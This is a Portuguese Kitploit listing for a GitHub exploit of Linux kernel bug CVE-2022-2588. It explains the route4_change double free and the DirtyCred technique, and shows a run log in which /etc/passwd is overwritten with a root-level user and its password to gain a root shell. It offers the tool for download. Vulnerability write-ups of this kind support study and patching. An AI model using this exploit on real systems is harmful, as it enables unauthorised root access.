Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-2588 — Código de exploit para CVE-2022-2588 | Kitploit
Ferramentas/GitHubGitHub/igr1s-red/cve-2022-2588
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubigr1s-red/cve-2022-2588

CVE-2022-2588

Código de exploit para CVE-2022-2588

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-2588

A correção

O bug foi corrigido no Linux v5.19 por este commit.

O bug

O bug foi introduzido no Linux v3.17 por este commit em 2014. Ele requer User Namespaces para ser acionado. Este bug é muito semelhante ao CVE-2021-3715, que foi causado por uma operação incorreta na lista encadeada do route4_filter. Mais detalhes sobre o CVE-2021-3715 podem ser encontrados na palestra da Black Hat (página 16). A seguir estão alguns breves detalhes do CVE-2022-2588.

O trecho a seguir mostra alguns snippets de código importantes da função route4_change para entender o CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

A função é implementada para inicializar/substituir o objeto route4_filter. O filtro usa handle como um id único para distinguir cada filtro. Se existir um handle que já foi inicializado antes (ou seja, a variável fold não é nula), ele atualizará o filtro removendo o filtro antigo e adicionando um novo filtro; caso contrário, apenas adicionará um novo filtro.

Em [0], o kernel aloca o objeto route4_filter. Em [1], se fold não estiver vazio, o que significa que existe um filtro com o mesmo handle, ele copia algumas informações para o novo filtro e inicializa o novo filtro em [2], e então insere o novo filtro na lista em [3]. Se o filtro antigo existir, ele é removido da lista em [4] e é liberado em [6].

O bug ocorre em [4], que verifica se existe um filtro antigo a ser removido. A condição garante que o handle não seja zero e que corresponda ao handle do novo filtro. Essa condição não está alinhada com a condição de liberação do filtro em [6], que apenas verifica se o filtro antigo existe. Portanto, se os usuários criarem um filtro cujo handle seja 0 e depois acionarem a substituição dele, o filtro não será desvinculado em [4], mas será liberado em [6], já que as condições não são as mesmas.

A exploração

Como este bug é semelhante ao CVE-2021-3715, suas primitivas são quase as mesmas. Os leitores podem consultar a palestra da Black Hat para uma descrição mais detalhada das primitivas. Este relatório mostra a exploração com a ideia do DirtyCred.

Como o fold liberado ainda está na lista encadeada após acionar o bug, podemos liberar o fold mais uma vez, o que eventualmente causará um double free no objeto route4_filer e no objeto route4_filter->exts.action se CONFIG_NET_CLS_ACT estiver habilitado.

Os códigos de exploração utilizam essas duas capacidades de double free para demonstrar o ataque em task credentials (utilizando double free de kmalloc-192, em breve) e open file credentials (utilizando double free de kmalloc-256).

Atacando a credencial de arquivo

Seguindo a ideia do DirtyCred, o código de exploração troca a credencial do arquivo após as verificações de permissão, para que possamos escrever qualquer conteúdo em arquivos com permissão de leitura. Idealmente, o código poderia funcionar em todas as versões do kernel afetadas pelo bug. Vale notar que, para garantir que o código funcione em kernels mais antigos onde msg_msg é isolado em kmalloc-rcl-*, a exploração usa um objeto de spray diferente.

root@kitploit:~
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

A exploração foi escrita para funcionar no maior número possível de distribuições. Foi confirmado que funciona em:

  • Debian 11 (5.10.0-8-amd64 ~ xxx)

Quer testar a exploração na VM?

Por favor, faça login com o usuário low e a senha low

Baixar ferramenta